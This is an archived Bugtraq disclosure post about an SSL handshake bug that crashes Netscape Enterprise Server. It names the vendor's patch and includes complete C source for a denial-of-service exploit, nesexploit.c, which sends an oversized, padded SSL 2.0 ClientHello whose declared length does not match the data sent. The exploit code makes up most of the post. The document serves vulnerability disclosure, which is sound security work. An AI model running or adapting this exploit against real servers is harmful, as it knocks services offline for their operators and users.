SSL handshake bug in Netscape Enterprise Server that can be exploited to crash the server
f7a4b857ebf57980449e9197aa862caba50e518d35e490cab3d88582824105a8
Subject: Netscape Enterprise Server SSL Handshake Bug
To: BUGTRAQ@SECURITYFOCUS.COM
Hi everybody,
There exists a SSL handshake bug in Netscape Enterprise Server that can be
exploited to crash the server. Netscape has confirmed this, and they also
told me that another person reported this to them before me (but I don't
know who that person is). Russ Cooper (of NTBugtraq) has been very helpful
with bringing this to their attention from me.
There are patches available at:
http://help.netscape.com/business/filelib.html#SSLHandshake
Below is some code that shows in detail what this is about.
/Arne Vidstrom
//
// nesexploit.c - v1.02 - by Arne Vidstrom, winnt@bahnhof.se
//
// This program crashes Netscape Enterprise Server when it is
// running in SSL mode, by exploiting a bug in the SSL handshake
// code. The server crashes if the client:
//
// * starts with SSL 2.0 format
// * uses long record header
// * uses padding >= 8
// * sends at least 11 bytes more data than it specifies in the
// header
// * sends at least about 4 kb data
//
// I haven't included any error handling in the code because it's
// so boring to write... ;o)
//
#include <winsock.h>
#include <string.h>
#include <stdio.h>
#define sockaddr_in struct sockaddr_in
#define sockaddr struct sockaddr
// Some combinations of these three constants will crash the server,
// others will not.
#define PADDING 8
#define SPECIFIED_SIZE 11822
#define ACTUAL_SIZE 11833
void main(void)
{
// IP address of the server - set to your own server and nobody
// elses :o)
char ipaddr[25] = "xxx.xxx.xxx.xxx";
// SSL port
unsigned short port = xxxxx;
SOCKET socket1;
unsigned char s[65536];
int errorCode;
WSADATA winSockData;
sockaddr_in peer;
int result;
unsigned char i;
unsigned int l;
int flags;
printf("\nnesexploit.c - developed by Arne Vidstrom,
winnt@bahnhof.se\n\n");
// Allocate a socket, connect and stuff...
errorCode = WSAStartup(0x0101, &winSockData);
socket1 = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
peer.sin_family = AF_INET;
peer.sin_port = htons(port);
peer.sin_addr.s_addr = inet_addr(ipaddr);
for (i = 0; i < 8; i++)
peer.sin_zero[i] = 0;
result = connect(socket1, (sockaddr *) &peer, sizeof(peer));
if (result != 0)
printf("Ehmn, where's that server? ;o)\n\n");
// Initialize the buffer with a lot of '.' Anything would do...
for (l=0; l<65536; l++)
s[l] = '.';
// Version 2.0 Format Header with padding.
// Shouldn't be any padding because this part is not encrypted,
// but without padding the server won't crash. :o)
s[0] = (SPECIFIED_SIZE & 0xff00) >> 8;
s[1] = (SPECIFIED_SIZE & 0x00ff);
s[2] = PADDING;
// Client says Hello!
s[3] = 0x01;
// Client wishes to use Version 3.0 later (there will be no "later"
though...)
s[4] = 0x03;
s[5] = 0x00;
// Cipher Specs Length = 3
s[6] = 0x00;
s[7] = 0x0c;
// Session ID = 0
s[8] = 0x00;
s[9] = 0x00;
// Challenge Length = 16
s[10] = 0x00;
s[11] = 0x10;
// Challenge Specs Data
s[12] = 0x02;
s[13] = 0x00;
s[14] = 0x80;
s[15] = 0x04;
s[16] = 0x00;
s[17] = 0x80;
s[18] = 0x00;
s[19] = 0x00;
s[20] = 0x03;
s[21] = 0x00;
s[22] = 0x00;
s[23] = 0x06;
// Challenge Data is a few '.' from above
// The rest is also '.' from above
// Send all this to the server
flags = 0;
result = send(socket1, s, ACTUAL_SIZE, flags);
if (result != SOCKET_ERROR)
printf("Done!\n\n");
// Clean up
closesocket(socket1);
WSACleanup();
}